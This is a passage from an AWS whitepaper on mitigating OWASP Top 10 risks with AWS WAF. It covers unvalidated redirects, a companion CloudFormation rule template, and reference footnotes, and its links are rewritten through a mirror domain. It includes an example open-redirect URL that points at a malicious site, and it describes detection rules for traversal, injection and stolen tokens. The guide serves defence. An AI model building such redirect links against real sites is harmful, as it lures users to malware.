A key component that needs hardening is the protocol parser itself. With
standardized protocols, it’s relatively easy to extrapolate the parser used. With
SOAP, you use XML54—and with RESTful APIs you will likely use JSON,55
although you can also use XML, YAML,56 or other formats. Thus, you can
provide a critical success factor by effectively securing the configuration of the
parser component and ensuring any vulnerabilities are mitigated.
As specific input patterns are discovered that would attempt to exploit flaws in
the parser, you might be able to use AWS WAF string match conditions or
size restrictions for the request body to block such request patterns.
Old Top 2013 A10 – Unvalidated Redirects and
Forwards
Most websites and web applications contain mechanisms to redirect or forward
users to other pages—internal or partner sites. If these mechanisms don't
validate the redirect or forward requests,57 it’s possible for malicious parties to
use your legitimate domain to direct users to unwanted destinations. These
links use your legitimate and reputable domain to trick users.

Vulnerabilities
Page 25
Consider the following example:
You run a video sharing site and operate a URL shortener mechanism
to enable users to share videos over text messages on mobile devices.
You use a script to create the URLs:
https://example.com/link?target=
https%3A%2F%2Fexample.com%2Fvideo%2Fe439853%3Fpos%3D200%2
6mode%3Dfullscreen
Users receive a URL like below, and it takes them to the correct content
page:
https://example.com/to?vrejkR6T
If your link generator script doesn’t validate the acceptable input
domains for the target page, a malicious user can generate a link to an
unwanted site:
https://example.com/link?target=
https%3A%2F%2Fbadsite.com%2Fmalware
They can then package it and send it to users as it would originate from
your site:
https://example.com/to?br09FtZ1
The first step in mitigation is understanding where redirects and forwards occur
in your application. Discovering what URL request patterns cause redirects,
directly or indirectly, and under what conditions, helps you to build a list of
potentially vulnerable areas. You should perform the same analysis for any
exposed third-party components that your application uses in case they include
redirect functionality.
If redirects and forwards are generated in response to HTTP requests from end
users, as in the example above, then you can use AWS WAF to filter the requests
and maintain a whitelist of domains that are trusted for redirect/forwarding

Vulnerabilities
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purposes. You can use a string match condition that targets the HTTP
request component where the target parameter is expected to match a whitelist.
In the example above, the set of conditions might look like the following:
1. Whitelist of allowed domains for redirects (block requests if no list value
is matched):
HTTP Request
Component to
Match
Relevant Input
Transformations to
Apply
Relevant
Positional
Constraints
QUERY_STRING URL_DECODE CONTAINS target=https://example.com
QUERY_STRING URL_DECODE CONTAINS target=https://partnersite.com
2. Match only specific HTTP requests (to the redirector or router scripts):
HTTP Request
Component to
Match
Relevant Input
Transformations to
Apply
Relevant
Positional
Constraints
URI URL_DECODE STARTS_WITH /link
You should combine these conditions in a single AWS WAF rule, which ensures
that both conditions have to be met for requests to be matched.
Companion CloudFormation Template
We’ve prepared an AWS CloudFormation template58 that contains a web ACL
and the condition types and rules recommended in this document. You can use
the template to provision these resources with just a few clicks (full API support
is also available). Note that the template is designed as a starting point for you
to build upon—and not as a production-ready, comprehensive set of rules. For
more information about working with CloudFormation templates, see Learn
Template Basics.59
The template is available at:
https://s3.us-east-2.amazonaws.com/awswaf-owasp/owasp_10_base.yml
The following example rules are included in the template:

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 Bad sources of traffic. A generic IP block list rule that allows you to
block requests from identified bad sources of traffic.
 Broken access control:
o A path traversal and file injection rule that detects common file
system path traversal, as well as local and remote file injection
(LFI/RFI) patterns, to block suspicious requests.
o A privileged module access restriction rule that limits access for
administrative modules to known source IPs only. You can configure
one path prefix and source IP address through the template. You can
add additional patterns later by changing the conditions directly.
For more information, see Creating and Configuring a Web Access
Control List.60
 Broken authentication and session management. A block list
that allows you to block illicit requests that use stolen or hijacked
authorization credentials, such as JSON Web Tokens or session IDs.
 Cross-site request forgery (CSRF). A rule that enforces the
existence of CSRF-mitigating tokens.
 Cross-site scripting (XSS). A rule that mitigates XSS attacks in
common HTTP request components.
 Injection. A SQL injection rule that mitigates SQL injection attacks in
common HTTP request components.
 Insufficient attack protection. A request-size hygiene rule that
allows you to configure the maximum size of various HTTP request
components by using template parameters, and block abnormal requests
that exceed those maximum sizes.
 Security misconfigurations. A rule that detects some exploits of
PHP-specific server misconfigurations. This rule might be less effective
if you aren’t running PHP-based applications, but it can still be valuable
to filter out unwanted, automated HTTP requests that probe for PHP
vulnerabilities.
 The use of components with known vulnerabilities. A rule that
restricts access to publicly exposed URL paths that shouldn’t be directly
accessible, such as server-side include components or component
features that aren’t being used by your application.

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We’ve chosen to package the example AWS WAF rule set as a CloudFormation
template because it provides an easy and repeatable way to provision the whole
rule set with a few simple clicks. The AWS CloudFormation documentation
provides an easy-to-follow walkthrough about how to create a stack,61 which is a
collection of resources you can manage as a single unit.
Follow those instructions and provide the template on the Select Template
page. Choose the option to Upload a template to Amazon S3 and provide
the downloaded template from your local computer. Otherwise, you can simply
paste the template URL (https://s3.us-east-2.amazonaws.com/awswaf-
owasp/owasp_10_base.yml) in the Specify an Amazon S3 template URL
box.
On the Specify Details page, you can configure the template’s parameters. A
few key parameters to emphasize are:
 Apply to WAF. This parameter allows you to select whether you want
to use the template to deploy a rule set for Amazon CloudFront web
distributions or Application Load Balancers (ALB) in the current region.
AWS WAF web ACLs get applied either to CloudFront web distributions
or ALBs, depending on which service you use to deliver your application.
The same stack can’t be used for both, but you can deploy multiple
stacks. You can also change this parameter’s value later by updating the
stack.
 Rule effect. This parameter determines the effect of your rule set. To
minimize disruption, we recommend that you start with a rule set that
counts matching requests. You can measure the effectiveness of your
rules that way without impacting traffic. When you’re confident about
the effectiveness of your rules, you can deploy a stack that will block
matching requests.
Continue following the AWS CloudFormation walkthrough instructions to
deploy the stack. After you deploy the stack, you must associate the web ACL62
that’s deployed by the stack with your load balancer or web distribution
resources to be able to use the rule set.

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Conclusion
You can use AWS WAF to help you protect your websites and web applications
against various attack vectors at the HTTP protocol level. As we discussed, in
relation to OWASP security flaws, AWS WAF is very effective at mitigating
vulnerabilities, to the extent that you can detect these attack patterns in HTTP
requests.
Additionally, you can enhance the capabilities of AWS WAF with other AWS
services to build comprehensive security automations. A set of such tools is
available on our website in the form of the AWS WAF Security Automations.63
These tools enable you to build a set of protections that can react to the
changing type of attacks your applications might be facing. The solution
provides several easy-to-deploy automations in the form of a CloudFormation
template for rate-based IP blacklisting, reputation list IP blacklisting, scanner
and probe mitigation, bot and scraper detection, and blocking.

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Contributors
The following individuals and organizations contributed to this document:
 Vlad Vlasceanu, Sr. Solutions Architect, Amazon Web Services
 Sundar Jayashekar, Sr. Product Manager, Amazon Web Services
 William Reid, Sr. Manager, Amazon Web Services
 Stephen Quigg, Solutions Architect, Amazon Web Services
 Matt Nowina, Solutions Architect, Amazon Web Services
 Matt Bretan, Sr. Consultant, Amazon Web Services
 Enrico Massi, Security Solutions Architect, Amazon Web Services
 Michael St.Onge, Cloud Security Architect, Amazon Web Services
 Leandro Bennaton, Security Solutions Architect, Amazon Web Services
Further Reading
For additional information, see the following:
 AWS WAF Security Automations:
https://aws.amazon.com/answers/security/aws-waf-security-
automations/
 OWASP Top 10 – 2017 rc1:
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top
%2010%20-%202017%20RC1-English.pdf
 OWASP Top 10 – 2013:
https://www.owasp.org/index.php/Top_10_2013

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Document Revisions
Date Description
July 2017 First publication
1 https://www.owasp.org/
2 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
3 https://aws.amazon.com/waf/
4 https://aws.amazon.com/cloudfront/
5 https://aws.amazon.com/elasticloadbalancing/applicationloadbalancer/
6 https://www.owasp.org/index.php/Top_10_2013-A1-Injection
7 http://docs.aws.amazon.com/waf/latest/developerguide/web-acl-sql-
conditions.html
8 http://docs.aws.amazon.com/waf/latest/developerguide/web-acl-string-
conditions.html
9 https://www.owasp.org/index.php/Top_10_2013-A2-
Broken_Authentication_and_Session_Management
10 https://jwt.io/
11 http://docs.aws.amazon.com/waf/latest/APIReference/Welcome.html
12 https://www.owasp.org/index.php/Top_10_2013-A3-Cross-
Site_Scripting_(XSS)
13 http://docs.aws.amazon.com/waf/latest/developerguide/web-acl-xss-
conditions.html
14 https://en.wikipedia.org/wiki/Content_management_system
15 https://developer.mozilla.org/en-US/docs/Web/SVG
Insecure_Direct_Object_References
Notes

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Missing_Function_Level_Access_Control
18 https://en.wikipedia.org/wiki/Directory_traversal_attack
19 https://en.wikipedia.org/wiki/File_inclusion_vulnerability
20 http://docs.aws.amazon.com/lambda/latest/dg/lambda-edge.html
Security_Misconfiguration
22 https://aws.amazon.com/inspector/
23 https://www.cisecurity.org/cis-benchmarks/
24 https://aws.amazon.com/config/
25 https://aws.amazon.com/ec2/systems-manager/
Sensitive_Data_Exposure
27 https://en.wikipedia.org/wiki/Cipher
28 https://en.wikipedia.org/wiki/SHA-1
29 https://shattered.io/
30
http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/introduction
.html
31 http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-ssl-
security-policy.html
32
http://docs.aws.amazon.com/elasticloadbalancing/latest/application/introdu
ction.html
33 http://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-
https-listener.html
34
http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Int
roduction.html
35
http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/dis

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tribution-web-values-
specify.html#DownloadDistValuesMinimumSSLProtocolVersion
36 http://docs.aws.amazon.com/waf/latest/developerguide/web-acl-size-
conditions.html
37 https://aws.amazon.com/answers/security/aws-waf-security-automations/
38 https://aws.amazon.com/lambda/
39 https://en.wikipedia.org/wiki/Robots_exclusion_standard
40 https://www.owasp.org/index.php/Top_10_2013-A8-Cross-
Site_Request_Forgery_(CSRF)
41 https://en.wikipedia.org/wiki/CAPTCHA
42 https://en.wikipedia.org/wiki/CAPTCHA#Circumvention
43 https://en.wikipedia.org/wiki/Universally_unique_identifier
Using_Components_with_Known_Vulnerabilities
45 http://cve.mitre.org/
46 https://httpd.apache.org/docs/current/howto/ssi.html
47 http://php.net/manual/en/function.include.php
48 http://php.net/manual/en/function.require.php
49 https://en.wikipedia.org/wiki/Penetration_test
50
https://aws.amazon.com/marketplace/search/results?x=0&y=0&searchTerm
s=vulnerability+scanner&page=1&ref_=nav_search_box
51 https://aws.amazon.com/security/penetration-testing/
52 https://en.wikipedia.org/wiki/Representational_state_transfer
53 https://en.wikipedia.org/wiki/SOAP
54 https://www.w3.org/XML/
55 http://www.json.org/
56 http://yaml.org/
Unvalidated_Redirects_and_Forwards

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58 https://aws.amazon.com/cloudformation/
59
http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/getting
started.templatebasics.html
60 http://docs.aws.amazon.com/waf/latest/developerguide/web-acl.html
61 http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-
console-create-stack.html
62 http://docs.aws.amazon.com/waf/latest/developerguide/web-acl-working-
with.html#web-acl-associating-cloudfront-distribution
63 https://aws.amazon.com/answers/security/aws-waf-security-automations/

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